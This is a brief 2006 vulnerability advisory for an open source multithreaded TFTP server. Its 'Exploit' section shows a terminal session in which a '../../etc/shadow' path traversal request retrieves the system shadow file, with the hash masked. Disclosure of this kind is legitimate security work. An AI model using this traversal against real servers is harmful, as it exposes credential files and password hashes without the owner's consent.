Open tftpserver path traversal vulnerability

#802 · 2006-03-24

CVE ID(s): CVE-none

Notified: 2006-03-24

Description:

MultiThreaded TFTP Server Open Source Freeware Windows/Unix for PXEBOOT, firmware load, support tsize, blksize, timeout Server Port Ranges, Block Number Rollover for Large Files. Runs as Service/daemon. Single Port version also available.

Exploit:

root@pangea:/home/done/tftpserver# tftp 192.168.0.26

tftp> get ../../etc/shadow

Received 652 bytes in 0.0 seconds

tftp> quit

root@debian:/home/done/tftpserver# head shadow

root:$1XXXXXXXXXXXXXXXXXXX:13046:0:99999:7:::

Download: http://sourceforge.net/projects/tftp-server/

URL: http://www.vapid.dhs.org/advisories/tftpserver_dot_dot_vulnerability.html